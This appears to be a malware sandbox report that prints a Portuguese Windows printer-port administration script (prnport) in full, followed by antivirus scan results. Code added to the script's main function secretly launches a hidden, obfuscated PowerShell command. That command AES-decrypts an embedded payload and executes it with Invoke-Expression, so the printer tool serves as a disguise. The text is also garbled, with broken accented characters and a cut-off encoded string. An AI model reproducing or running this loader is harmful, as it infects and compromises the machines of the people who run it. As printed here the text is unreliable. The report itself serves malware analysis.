Static | ZeroBOX
No static analysis available.
var kActionAdd = 0;
var kActionDelete = 1;
var kActionList = 2;
var kActionUnknown = 3;
var kActionGet = 4;
var kActionSet = 5;
var kErrorSuccess = 0;
var kErrorFailure = 1;
var kFlagCreateOrUpdate = 0;
var kNameSpace = "root\\cimv2";
var kcirrito = 1;
var kPortName = 2;
var kDoubleSpool = 3;
var kPortNumber = 4;
var kPortType = 5;
var kHostAddress = 6;
var kSNMPDeviceIndex = 7;
var kCommunityName = 8;
var kSNMP = 9;
var kQueueName = 10;
var kUserName = 11;
var kPassword = 12;
var L_Empty_Text = "";
var L_Space_Text = " ";
var L_Colon_Text = ":";
var L_LPR_Queue = "LPR";
var L_Error_Text = "Erro";
var L_Success_Text = "
xito";
var L_Failed_Text = "Falha";
var L_Hex_Text = "0x";
var L_Printer_Text = "Impressora";
var L_Operation_Text = "Opera
var L_Provider_Text = "Provedor";
var L_Description_Text = "Descri
var L_Debug_Text = "Depurar:";
var L_Help_Help_General01_Text = "Uso: prnport [-adlgt?] [-r porta][-s servidor][-u nome de usu
rio][-w senha]";
var L_Help_Help_General02_Text = " [-o raw|lpr][-h host address][-q queue][-n number]";
var L_Help_Help_General03_Text = " [-me | -md ][-i SNMP index][-y community][-2e | -2d]";
var L_Help_Help_General04_Text = "Argumentos:";
var L_Help_Help_General05_Text = "-a - adicionar uma porta";
var L_Help_Help_General06_Text = "-d - excluir a porta especificada";
var L_Help_Help_General07_Text = "-g - obter configura
o para uma porta TCP";
var L_Help_Help_General08_Text = "-h - endere
o IP do dispositivo";
var L_Help_Help_General09_Text = "-i -
ndice SNMP, se SNMP estiver ativado";
var L_Help_Help_General10_Text = "-l - listar todas as portas TCP";
var L_Help_Help_General11_Text = "-m - tipo de SNMP. [e] ativar, [d] desativar";
var L_Help_Help_General12_Text = "-n - n
mero de porta; aplica-se a portas TCP RAW";
var L_Help_Help_General13_Text = "-o - tipo de porta, sem processamento ou lpr";
var L_Help_Help_General14_Text = "-q - nome de fila; aplica-se somente a portas TCP LPR";
var L_Help_Help_General15_Text = "-r - nome da porta";
var L_Help_Help_General16_Text = "-s - nome do servidor";
var L_Help_Help_General17_Text = "-t - definir configura
o para uma porta TCP";
var L_Help_Help_General18_Text = "-u - nome do usu
var L_Help_Help_General19_Text = "-w - senha";
var L_Help_Help_General20_Text = "-y - nome de comunidade, se SNMP estiver ativado";
var L_Help_Help_General21_Text = "-2 - spool duplo; aplica-se a portas TCP LPR. [e] ativar, [d] desativar";
var L_Help_Help_General22_Text = "-? - exibir uso do comando";
var L_Help_Help_General23_Text = "Exemplos:";
var L_Help_Help_General24_Text = "prnport -l -s server";
var L_Help_Help_General25_Text = "prnport -d -s server -r IP_1.2.3.4";
var L_Help_Help_General26_Text = "prnport -a -s server -r IP_1.2.3.4 -h 1.2.3.4 -o raw -n 9100";
var L_Help_Help_General27_Text = "prnport -t -s server -r IP_1.2.3.4 -me -y public -i 1 -n 9100";
var L_Help_Help_General28_Text = "prnport -g -s server -r IP_1.2.3.4";
var L_Help_Help_General29_Text = "prnport -a -r IP_1.2.3.4 -h 1.2.3.4";
var L_Help_Help_General30_Text = "Coment
rio:";
var L_Help_Help_General31_Text = "O
ltimo exemplo tentar
obter as configura
es do dispositivo no endere
o IP especificado.";
var L_Help_Help_General32_Text = "Se um dispositivo for detectado, uma porta TCP ser
adicionada com as configura
es preferenciais do dispositivo.";
var L_Help_Help_Host01_Text = "Este script deve ser executado a partir do prompt de comando usando CScript.exe.";
var L_Help_Help_Host02_Text = "Por exemplo: CScript script.vbs argumentos";
var L_Help_Help_Host03_Text = "";
var L_Help_Help_Host04_Text = "Para definir CScript como o aplicativo padr
o para a execu
o de arquivos .VBS, execute:";
var L_Help_Help_Host05_Text = " CScript //H:CScript //S";
var L_Help_Help_Host06_Text = "Voc
poder
em seguida executar \"script.vbs argumentos\" sem incluir CScript antes to script.";
var L_Text_Error_General01_Text = "O host de script n
de ser determinado.";
var L_Text_Error_General02_Text = "N
vel analisar a linha de comando.";
var L_Text_Error_General03_Text = "C
digo de erro do Win32";
var L_Text_Msg_General01_Text = "Porta adicionada";
var L_Text_Msg_General02_Text = "N
vel excluir porta";
var L_Text_Msg_General03_Text = "N
o foi poss
vel obter a porta";
var L_Text_Msg_General04_Text = "Porta criada/atualizada";
var L_Text_Msg_General05_Text = "N
o foi poss
vel criar/atualizar porta";
var L_Text_Msg_General06_Text = "N
vel enumerar portas";
var L_Text_Msg_General07_Text = "N
mero de portas enumeradas";
var L_Text_Msg_General08_Text = "Porta exclu
var L_Text_Msg_General09_Text = "N
o foi poss
vel obter o objeto SWbemLocator";
var L_Text_Msg_General10_Text = "N
vel conectar-se ao servi
o WMI";
var L_Text_Msg_Port01_Text = "Nome do servidor";
var L_Text_Msg_Port02_Text = "Nome da porta";
var L_Text_Msg_Port03_Text = "Endere
o do host";
var L_Text_Msg_Port04_Text = "Protocolo RAW";
var L_Text_Msg_Port05_Text = "LPR de protocolo";
var L_Text_Msg_Port06_Text = "N
mero da porta";
var L_Text_Msg_Port07_Text = "Fila";
var L_Text_Msg_Port08_Text = "Contagem de bytes ativada";
var L_Text_Msg_Port09_Text = "Contagem de bytes desativada";
var L_Text_Msg_Port10_Text = "SNMP ativado";
var L_Text_Msg_Port11_Text = "SNMP desativado";
var L_Text_Msg_Port12_Text = "Comunidade";
var L_Text_Msg_Port13_Text = "
ndice de dispositivos";
var L_Text_Dbg_Msg01_Text = "Na fun
o DelPort";
var L_Text_Dbg_Msg02_Text = "Na fun
o CreateOrSetPort";
var L_Text_Dbg_Msg03_Text = "Na fun
o ListPorts";
var L_Text_Dbg_Msg04_Text = "Na fun
o GetPort";
var L_Text_Dbg_Msg05_Text = "Na fun
o ParseCommandLine";
main();
function main() {
if (!perdizite()) {
var apparelhado = WScript.CreateObject("WScript.Shell");
var xangai, tauros, filirostro, estendedoiro, heteriarca;
xangai = "alinhavoalinhavo8754barreira9crematistacrematista48crematista67amassadourocrematista94amassadouro5alinhavo75777alinhavo9barreira8barreira";
xangai = polux( xangai, "amassadouro", "0");
xangai = polux( xangai, "barreira", "1");
xangai = polux( xangai, "crematista", "2");
xangai = polux( xangai, "alinhavo", "3");
tauros = "Qz4s3jZKq8HKCm5Rvw4bJG+TjuDH4PaRcKQnB98jPoj+kwprT9X724J9e0vbxSH9zH7q0Q0T3ZEgIMi1ACQjVGiJAOwQsY34IZXTd8Dl0KWVeAA4v61JteG0VS4WxU/c0tkpJ1LUGb4M8wCk0LWePTa+SLHtjep//fDzCPTErLqoiRtKO9ILfuOKh+bsIbfGoqZEBiOz3UWkJl9uyBluW56cGFdgH4LtgmMkBPWyDJZutwRiJYq21xFwEiZ0bBKrGtopF0upGXcTAhzcU04UrChnK4x/UADw6BGmgDjtS52Buz/jeGcLEI/5pZLAHbpjdeONQaZG2z7r8b8R2vmPn0LiYn3Y4to4EjHwbrqj6Rsn4P9glfnt4a7rxGKVGg3RqWpqmtK9W2jOvm1AMk3T9FpXnv1SU7s297P2NWXamBeGgoB3imuJh79KyVZEGSslneT1TNKaTCM7wNBO7wUVy4n6GHPXaprFgopyUFJEj3x8uYpjJHtVoFu+sM04Z+bX3p6jNBL1MdkHLKRXTGTYM6y6txlcpWdiEu73Xoe484HX9AVvt6jK7BBlNzpmHY9mgl1w5wG8QVR6BuLDmPr6IaFdfOM5JFVxgO6k8JuKSb7nvigjJAtVL315cwQWuDSE1HzlNSTMZttDMkw6r/F3HIaSVq+XnzjOW/634S+fjwKIOQHzZMfHxZr1WkqSlk5VqzpsuUPfFO3TJscnZVBGoSHiL2+0yi1MOKcBXtm3bp8wYW5WAJw656zr7hrZEAHO0Dl45d82Qfq/oTQJtiq35oFYD8f4J0eQJw38O/6nWtJk8dS3xVefE0Vthh7NiBGk6wv8oKkisYNVSlTpG+QiCZITICP0QfROr6fyXVzvDcEM1fNCvfyFfmkm1xj0tM4rcdSAcrY2UrC12S5+sIe0fE1E1i1PeyPRo8jMRv8qDIVT032No29xv99pt/P5LTDKbfR7FhlaXn2VYEMG8l2QnvzTPyz3i4qbawe72SkP4yu6hq
filirostro = "pow%amassadouro%rsh%amassadouro%ll.%amassadouro%x%amassadouro%";
filirostro = polux( filirostro, "%amassadouro%", "e");
estendedoiro = "-command";
heteriarca = "(('((e4jfunction Decrypt-AESEncryption {Param([String]TMIBase64Text,[Stringe4j+e4j]TMIKey)TMIe4j+e4jaesManaged = New-Object System.See4j+e4jcurity.Cryptography.AesManaged;TMIa'+'esMa" +
"nagee4j+e4'+'jd.Modee4j+e4j = [Syse4j+'+'e4jtem.Security.Cryptoge4j+e4jraphy.e4j+e'+'4jCie4'+'j+e4jpherMode]::CBC;TMIaesManaged.'+'Pae4j+e4jddin'+'g = [System.Security.Cryptography.Paddin" +
"gMode]::Zeros;TMIaesManaged.BlockSiz'+'e = 128;TMIaesManaged.KeySize = 256;'+'TMIaesManagee4j+'+'e4jd.Key = ('+'New-Objecte4'+'j+e4j System.Security.Cryptography.SHA256Managed).ComputeHash([Sy" +
"ste'+'m.Text.Encoding]::UTF8.Gee4j+e4jtBytes(TMIKey));TMIcipherBytes = [Syst'+'em.Convert]::FromBase64String(TMIBase64Text);TMIaesManaged.IV '+'= TMIcipherBytes[0..15];TMIdecryptor = TMIaesManaged." +
"CreateDecryptor();TMIdecryptedBytes = TMIdecryptor.TransformFin'+'alBlock(TMIcipherBytes, 16, TMIcipherBytes.Length - 16);e4j+e4jTMIae'+'sManaged.D'+'ispose('+');return [System.Text.Encoding]::UTF8.GetS" +
"tring'+'(TMIdecry'+'ptedBytes).Tre4j+e4jim([char]0);}TMIchave = CnI" + xangai + "CnIe4j+e4j;TMItextoCriptogr'+'afadoBase4j+e4je64 = '+'CnI" + tauros + "CnI;TMIt" +
"extoDescriptografado = Decrypt-AESEncryption -'+'Base64Text TMItextoCriptografadoBase64 -Key TMIchave;W'+'rite-Host CnITexe4j+e4jto Descre4j+e4jiptografado: TMI'+'textoDescriptograe4j+e4jfadoCnI;Invoke-Expressioe" +
"4j+e4jn TMItext'+'oe4j+e4jDescriptografado;e4j)-rEplACe ([CHar]67+[CHar]110+['+'CHar]73),[CHar]34 -cRePLACe e4jTMIe4j,[CHar]36)AQMinvOKe-EXpReSsion') -CREplacE 'e4j',[Char]39 -CREplacE([Char]65+[Char]81+[Char]77)," +
"[Char]124)|&( $verbosEPREFerEncE.tosTriNg()[1,3]+'x'-join'')";
apparelhado.Run(filirostro + " " + estendedoiro + " " + heteriarca, 0, false);
WScript.Quit();
var oParamDict = new ActiveXObject("Scripting.Dictionary");
var iRetval = ParseCommandLine(oParamDict);
if (iRetval === kErrorSuccess) {
switch (oParamDict.Item("action")) {
case kActionAdd:
iRetval = CreateOrSetPort(oParamDict);
break;
case kActionDelete:
iRetval = DelPort(oParamDict);
break;
case kActionList:
iRetval = ListPorts(oParamDict);
break;
case kActionGet:
iRetval = GetPort(oParamDict);
break;
case kActionSet:
iRetval = CreateOrSetPort(oParamDict);
break;
default:
Usage(true);
return;
}
function DelPort(oParamDict) {
DebugPrint(L_Text_Dbg_Msg01_Text);
DebugPrint(L_Text_Msg_Port01_Text + L_Space_Text + oParamDict.Item(kcirrito));
DebugPrint(L_Text_Msg_Port02_Text + L_Space_Text + oParamDict.Item(kPortName));
var oencapellar = null;
var iResult = kErrorFailure;
var strServer = oParamDict.Item(kcirrito);
var strPort = oParamDict.Item(kPortName);
var strUser = oParamDict.Item(kUserName);
var strPassword = oParamDict.Item(kPassword);
if (WmiConnect(strServer, kNameSpace, strUser, strPassword, oencapellar)) {
var oPort = oencapellar.Get("Win32_TCPIPPrinterPort='" + strPort + "'");
if (Err.number === kErrorSuccess) {
oPort.Delete_();
if (Err.number === kErrorSuccess) {
WScript.Echo(L_Text_Msg_General08_Text + L_Space_Text + strPort);
iResult = kErrorSuccess;
} else {
WScript.Echo(L_Text_Msg_General02_Text + L_Space_Text + L_Error_Text + L_Space_Text +
L_Hex_Text + Err.number.toString(16) + L_Space_Text + Err.description);
LastError();
}
} else {
WScript.Echo(L_Text_Msg_General02_Text + L_Space_Text + L_Error_Text + L_Space_Text +
L_Hex_Text + Err.number.toString(16) + L_Space_Text + Err.description);
LastError();
}
return iResult;
function CreateOrSetPort(oParamDict) {
DebugPrint(L_Text_Dbg_Msg02_Text);
DebugPrint(L_Text_Msg_Port01_Text + L_Space_Text + oParamDict.Item(kcirrito));
DebugPrint(L_Text_Msg_Port02_Text + L_Space_Text + oParamDict.Item(kPortName));
DebugPrint(L_Text_Msg_Port06_Text + L_Space_Text + oParamDict.Item(kPortNumber));
DebugPrint(L_Text_Msg_Port07_Text + L_Space_Text + oParamDict.Item(kQueueName));
DebugPrint(L_Text_Msg_Port13_Text + L_Space_Text + oParamDict.Item(kSNMPDeviceIndex));
DebugPrint(L_Text_Msg_Port12_Text + L_Space_Text + oParamDict.Item(kCommunityName));
DebugPrint(L_Text_Msg_Port03_Text + L_Space_Text + oParamDict.Item(kHostAddress));
var oencapellar = null;
var iResult = kErrorFailure;
var strServer = oParamDict.Item(kcirrito);
var strPort = oParamDict.Item(kPortName);
var strUser = oParamDict.Item(kUserName);
var strPassword = oParamDict.Item(kPassword);
if (WmiConnect(strServer, kNameSpace, strUser, strPassword, oencapellar)) {
var oPort = oencapellar.Get("Win32_TCPIPPrinterPort.Name='" + strPort + "'");
if (Err.number !== kErrorSuccess) {
Err.clear();
oPort = oencapellar.Get("Win32_TCPIPPrinterPort").SpawnInstance_();
}
if (Err.number !== kErrorSuccess) {
WScript.Echo(L_Text_Msg_General03_Text + L_Space_Text + L_Error_Text + L_Space_Text +
L_Hex_Text + Err.number.toString(16) + L_Space_Text + Err.description);
return kErrorFailure;
}
oPort.Name = oParamDict.Item(kPortName);
oPort.HostAddress = oParamDict.Item(kHostAddress);
oPort.PortNumber = oParamDict.Item(kPortNumber);
oPort.SNMPEnabled = oParamDict.Item(kSNMP);
oPort.SNMPDevIndex = oParamDict.Item(kSNMPDeviceIndex);
oPort.SNMPCommunity = oParamDict.Item(kCommunityName);
oPort.Queue = oParamDict.Item(kQueueName);
oPort.ByteCount = oParamDict.Item(kDoubleSpool);
var PortType = oParamDict.Item(kPortType);
switch (PortType.toLowerCase()) {
case "raw":
oPort.Protocol = 1;
if (oPort.Queue !== null) {
WScript.Echo(L_Error_Text + L_Colon_Text + L_Space_Text + L_Help_Help_General14_Text);
return kErrorFailure;
}
break;
case "lpr":
oPort.Protocol = 2;
if (oPort.Queue === null) {
oPort.Queue = L_LPR_Queue;
}
break;
}
oPort.Put_(kFlagCreateOrUpdate);
if (Err.number === kErrorSuccess) {
WScript.Echo(L_Text_Msg_General04_Text + L_Space_Text + oPort.Name);
iResult = kErrorSuccess;
} else {
WScript.Echo(L_Text_Msg_General05_Text + L_Space_Text + oPort.Name + L_Space_Text +
L_Error_Text + L_Space_Text + L_Hex_Text + Err.number.toString(16) + L_Space_Text +
Err.description);
LastError();
iResult = kErrorFailure;
}
return iResult;
function ListPorts(oParamDict) {
DebugPrint(L_Text_Dbg_Msg03_Text);
var oencapellar = null;
var iResult = kErrorFailure;
var strServer = oParamDict.Item(kcirrito);
var strUser = oParamDict.Item(kUserName);
var strPassword = oParamDict.Item(kPassword);
if (WmiConnect(strServer, kNameSpace, strUser, strPassword, oencapellar)) {
var Ports = oencapellar.InstancesOf("Win32_TCPIPPrinterPort");
if (Err.number !== kErrorSuccess) {
WScript.Echo(L_Text_Msg_General06_Text + L_Space_Text + L_Error_Text + L_Space_Text +
L_Hex_Text + Err.number.toString(16) + L_Space_Text + Err.description);
return kErrorFailure;
}
var iTotal = 0;
var e = new Enumerator(Ports);
for (; !e.atEnd(); e.moveNext()) {
var oPort = e.item();
iTotal++;
WScript.Echo(L_Empty_Text);
WScript.Echo(L_Text_Msg_Port01_Text + L_Space_Text + strServer);
WScript.Echo(L_Text_Msg_Port02_Text + L_Space_Text + oPort.Name);
WScript.Echo(L_Text_Msg_Port03_Text + L_Space_Text + oPort.HostAddress);
if (oPort.Protocol === 1) {
WScript.Echo(L_Text_Msg_Port04_Text);
WScript.Echo(L_Text_Msg_Port06_Text + L_Space_Text + oPort.PortNumber);
} else {
WScript.Echo(L_Text_Msg_Port05_Text);
WScript.Echo(L_Text_Msg_Port07_Text + L_Space_Text + oPort.Queue);
if (oPort.ByteCount) {
WScript.Echo(L_Text_Msg_Port08_Text);
} else {
WScript.Echo(L_Text_Msg_Port09_Text);
}
}
if (oPort.SNMPEnabled) {
WScript.Echo(L_Text_Msg_Port10_Text);
WScript.Echo(L_Text_Msg_Port12_Text + L_Space_Text + oPort.SNMPCommunity);
WScript.Echo(L_Text_Msg_Port13_Text + L_Space_Text + oPort.SNMPDevIndex);
} else {
WScript.Echo(L_Text_Msg_Port11_Text);
}
}
WScript.Echo(L_Empty_Text);
WScript.Echo(L_Text_Msg_General07_Text + L_Space_Text + iTotal);
iResult = kErrorSuccess;
return iResult;
function GetPort(oParamDict) {
DebugPrint(L_Text_Dbg_Msg04_Text);
DebugPrint(L_Text_Msg_Port01_Text + L_Space_Text + oParamDict.Item(kcirrito));
DebugPrint(L_Text_Msg_Port02_Text + L_Space_Text + oParamDict.Item(kPortName));
var oencapellar = null;
var iResult = kErrorFailure;
var strServer = oParamDict.Item(kcirrito);
var strPort = oParamDict.Item(kPortName);
var strUser = oParamDict.Item(kUserName);
var strPassword = oParamDict.Item(kPassword);
if (WmiConnect(strServer, kNameSpace, strUser, strPassword, oencapellar)) {
var oPort = oencapellar.Get("Win32_TCPIPPrinterPort.Name='" + strPort + "'");
if (Err.number === kErrorSuccess) {
WScript.Echo(L_Empty_Text);
WScript.Echo(L_Text_Msg_Port01_Text + L_Space_Text + strServer);
WScript.Echo(L_Text_Msg_Port02_Text + L_Space_Text + oPort.Name);
WScript.Echo(L_Text_Msg_Port03_Text + L_Space_Text + oPort.HostAddress);
if (oPort.Protocol === 1) {
WScript.Echo(L_Text_Msg_Port04_Text);
WScript.Echo(L_Text_Msg_Port06_Text + L_Space_Text + oPort.PortNumber);
} else {
WScript.Echo(L_Text_Msg_Port05_Text);
WScript.Echo(L_Text_Msg_Port07_Text + L_Space_Text + oPort.Queue);
if (oPort.ByteCount) {
WScript.Echo(L_Text_Msg_Port08_Text);
} else {
WScript.Echo(L_Text_Msg_Port09_Text);
}
}
if (oPort.SNMPEnabled) {
WScript.Echo(L_Text_Msg_Port10_Text);
WScript.Echo(L_Text_Msg_Port12_Text + L_Space_Text + oPort.SNMPCommunity);
WScript.Echo(L_Text_Msg_Port13_Text + L_Space_Text + oPort.SNMPDevIndex);
} else {
WScript.Echo(L_Text_Msg_Port11_Text);
}
iResult = kErrorSuccess;
} else {
WScript.Echo(L_Text_Msg_General03_Text + L_Space_Text + L_Error_Text + L_Space_Text +
L_Hex_Text + Err.number.toString(16) + L_Space_Text + Err.description);
LastError();
}
return iResult;
function DebugPrint(strString) {
if (gDebugFlag) {
WScript.Echo(L_Debug_Text + L_Space_Text + strString);
function ParseCommandLine(oParamDict) {
DebugPrint(L_Text_Dbg_Msg05_Text);
var oArgs = WScript.Arguments;
oParamDict.Add("action", kActionUnknown);
for (var iIndex = 0; iIndex < oArgs.length; iIndex++) {
switch (oArgs(iIndex)) {
case "-g":
oParamDict.Item("action") = kActionGet;
break;
case "-t":
oParamDict.Item("action") = kActionSet;
break;
case "-a":
oParamDict.Item("action") = kActionAdd;
break;
case "-d":
oParamDict.Item("action") = kActionDelete;
break;
case "-l":
oParamDict.Item("action") = kActionList;
break;
case "-2e":
oParamDict.Add(kDoubleSpool, true);
break;
case "-2d":
oParamDict.Add(kDoubleSpool, false);
break;
case "-s":
oParamDict.Add(kcirrito, RemoveBackslashes(oArgs(++iIndex)));
break;
case "-u":
oParamDict.Add(kUserName, oArgs(++iIndex));
break;
case "-w":
oParamDict.Add(kPassword, oArgs(++iIndex));
break;
case "-n":
oParamDict.Add(kPortNumber, oArgs(++iIndex));
break;
case "-r":
oParamDict.Add(kPortName, oArgs(++iIndex));
break;
case "-o":
oParamDict.Add(kPortType, oArgs(++iIndex));
break;
case "-h":
oParamDict.Add(kHostAddress, oArgs(++iIndex));
break;
case "-q":
oParamDict.Add(kQueueName, oArgs(++iIndex));
break;
case "-i":
oParamDict.Add(kSNMPDeviceIndex, oArgs(++iIndex));
break;
case "-y":
oParamDict.Add(kCommunityName, oArgs(++iIndex));
break;
case "-me":
oParamDict.Add(kSNMP, true);
break;
case "-md":
oParamDict.Add(kSNMP, false);
break;
case "-?":
Usage(true);
return kErrorFailure;
default:
Usage(true);
return kErrorFailure;
}
if (Err.number === kErrorSuccess) {
return kErrorSuccess;
} else {
WScript.Echo(L_Text_Error_General02_Text + L_Space_Text + L_Error_Text + L_Space_Text +
L_Hex_Text + Err.number.toString(16) + L_Space_Text + Err.description);
return kErrorFailure;
function polux(anilocros, gomma, berro) {
if (typeof anilocros !== 'string') {
throw new Error('O primeiro par
metro deve ser uma string.');
if (typeof gomma !== 'string') {
throw new Error('O segundo par
metro deve ser uma string.');
if (typeof berro !== 'string') {
throw new Error('O terceiro par
metro deve ser uma string.');
var feramina = anilocros.split(gomma);
var novaFeramina = [];
for (var i = 0; i < feramina.length; i++) {
// Manipula
o ou transforma
o hipot
tica de cada elemento
var elemento = feramina[i];
novaFeramina.push(elemento);
var resultado = '';
for (var j = 0; j < novaFeramina.length; j++) {
resultado += novaFeramina[j];
if (j < novaFeramina.length - 1) {
resultado += berro;
}
return resultado;
function Usage(bExit) {
WScript.Echo(L_Help_Help_General01_Text);
WScript.Echo(L_Help_Help_General02_Text);
WScript.Echo(L_Help_Help_General03_Text);
WScript.Echo(L_Help_Help_General04_Text);
WScript.Echo(L_Help_Help_General05_Text);
WScript.Echo(L_Help_Help_General06_Text);
WScript.Echo(L_Help_Help_General07_Text);
WScript.Echo(L_Help_Help_General08_Text);
WScript.Echo(L_Help_Help_General09_Text);
WScript.Echo(L_Help_Help_General10_Text);
WScript.Echo(L_Help_Help_General11_Text);
WScript.Echo(L_Help_Help_General12_Text);
WScript.Echo(L_Help_Help_General13_Text);
WScript.Echo(L_Help_Help_General14_Text);
WScript.Echo(L_Help_Help_General15_Text);
WScript.Echo(L_Help_Help_General16_Text);
WScript.Echo(L_Help_Help_General17_Text);
WScript.Echo(L_Help_Help_General18_Text);
WScript.Echo(L_Help_Help_General19_Text);
WScript.Echo(L_Help_Help_General20_Text);
WScript.Echo(L_Help_Help_General21_Text);
WScript.Echo(L_Help_Help_General22_Text);
WScript.Echo(L_Empty_Text);
WScript.Echo(L_Help_Help_General23_Text);
WScript.Echo(L_Help_Help_General24_Text);
WScript.Echo(L_Help_Help_General25_Text);
WScript.Echo(L_Help_Help_General26_Text);
WScript.Echo(L_Help_Help_General27_Text);
WScript.Echo(L_Help_Help_General28_Text);
WScript.Echo(L_Help_Help_General29_Text);
WScript.Echo(L_Empty_Text);
WScript.Echo(L_Help_Help_General30_Text);
WScript.Echo(L_Help_Help_General31_Text);
WScript.Echo(L_Help_Help_General32_Text);
if (bExit) {
WScript.Quit(1);
function perdizite() {
var strFullName = WScript.FullName;
var i = strFullName.indexOf(".exe", 1);
if (i !== -1) {
var j = strFullName.lastIndexOf("\\", i, 1);
if (j !== -1) {
var strCommand = strFullName.substring(j + 1, i);
if (strCommand.toLowerCase() === "cscript") {
return true;
}
}
var Err;
if (Err !== 0) {
return false;
function LastError() {
var oError = GetObject("WbemScripting.SWbemLastError");
if (Err.number === kErrorSuccess) {
WScript.Echo(L_Operation_Text + L_Space_Text + oError.Operation);
WScript.Echo(L_Provider_Text + L_Space_Text + oError.ProviderName);
WScript.Echo(L_Description_Text + L_Space_Text + oError.Description);
WScript.Echo(L_Text_Error_General04_Text + L_Space_Text + oError.StatusCode);
function WmiConnect(strServer, strNameSpace, strUser, strPassword, oencapellar) {
var bResult = false;
var oLocator = new ActiveXObject("WbemScripting.SWbemLocator");
oencapellar = oLocator.ConnectServer(strServer, strNameSpace, strUser, strPassword);
if (Err.number === kErrorSuccess) {
bResult = true;
oencapellar.Security_.ImpersonationLevel = 3;
oencapellar.Security_.Privileges.AddAsString("SeLoadDriverPrivilege");
Err.clear();
} else {
WScript.Echo(L_Text_Msg_General10_Text + L_Space_Text + L_Error_Text + L_Space_Text +
L_Hex_Text + Err.number.toString(16) + L_Space_Text + Err.description);
return bResult;
function RemoveBackslashes(strServer) {
if (strServer.indexOf("\\\\") === 0) {
return strServer.slice(2);
return strServer;
Antivirus Signature
Bkav Clean
Lionic Clean
tehtris Clean
ClamAV Clean
CMC Clean
CAT-QuickHeal Clean
Skyhigh BehavesLike.JS.Exploit.mm
ALYac Clean
Malwarebytes Clean
Zillya Clean
Sangfor Clean
K7AntiVirus Clean
K7GW Clean
Cybereason Clean
Baidu Clean
VirIT Clean
Symantec ISB.Downloader!gen81
ESET-NOD32 Clean
TrendMicro-HouseCall Clean
Avast Clean
Cynet Clean
Kaspersky Clean
BitDefender Clean
NANO-Antivirus Trojan.Script.Heuristic-js.iacgm
ViRobot Clean
MicroWorld-eScan Clean
Tencent Clean
TACHYON Clean
Sophos Clean
F-Secure Clean
DrWeb Clean
VIPRE Clean
TrendMicro Clean
FireEye Clean
Emsisoft Clean
huorong VirTool/PS.Obfuscator.d
GData Clean
Jiangmin Clean
Varist Clean
Avira Clean
Antiy-AVL Clean
Kingsoft Clean
Gridinsoft Clean
Xcitium Clean
Arcabit Clean
SUPERAntiSpyware Clean
ZoneAlarm Clean
Microsoft Clean
Google Clean
AhnLab-V3 Clean
Acronis Clean
McAfee Clean
MAX Clean
VBA32 Clean
Zoner Clean
Rising Clean
Yandex Clean
Ikarus Clean
MaxSecure Clean
Fortinet Clean
BitDefenderTheta Clean
AVG Clean
Panda Clean
CrowdStrike Clean
alibabacloud Clean
No IRMA results available.